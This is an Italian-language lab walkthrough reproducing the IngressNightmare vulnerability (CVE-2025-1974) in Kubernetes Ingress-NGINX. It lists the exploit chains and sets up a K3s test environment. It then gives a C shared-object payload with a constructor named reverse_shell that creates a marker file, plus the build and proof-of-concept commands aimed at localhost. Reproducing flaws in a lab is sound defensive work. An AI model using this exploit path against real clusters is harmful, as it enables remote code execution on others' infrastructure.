Ingress-NGINX: controller Ingress per Kubernetes che utilizza NGINX come proxy inverso e bilanciatore di carico
La vulnerabilità "IngressNightmare" (CVE-2025-1974) deriva da un difetto critico nell'Ingress-NGINX Admission Controller, il meccanismo di sicurezza chiave di Kubernetes che convalida le risorse Ingress in arrivo.
Questo controller è esposto alla rete senza autenticazione, consentendo a un attaccante di manipolare richieste AdmissionReview dannose e inserire configurazioni non autorizzate nelle risorse Ingress.
Se combinata con altre vulnerabilità (CVE-2025-24514, CVE-2024-1097 o CVE-2025-1098), può portare all'esecuzione remota di codice.
Alcune catene di sfruttamento possibili sono:
CVE-2025-1974+CVE-2025-24514: RCE tramite iniezione dell'annotazione auth-url
CVE-2025-1974+CVE-2025-1097: RCE tramite annotazione auth-tls-match-cn
CVE-2025-1974+CVE-2025-1098: RCE tramite abuso dell'UID dell'immagine
Per simulare la vulnerabilità, viene utilizzato un ambiente Kubernetes basato su K3s per semplicità
docker compose up -d
Attendere che l'API Kubernetes sia pronta e che il controller Ingress-nginx sia avviato. Una volta avviato l'ambiente, Ingress-NGINX è in ascolto sulle porte 30080 e 30443 (TLS), mentre l'Ingress-NGINX Admission Controller è sulla porta 30443.
Per prima cosa, è necessario compilare un payload come oggetto condiviso (.so) corrispondente all'architettura del container.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
L'exploit AdmissionReview funziona forgiando una richiesta di iniezione di direttive che costringe NGINX a caricare un oggetto condiviso dinamico maligno.
Se l'exploit ha successo, è possibile verificare la creazione del file ssl_engine all'interno del container ingress-nginx.
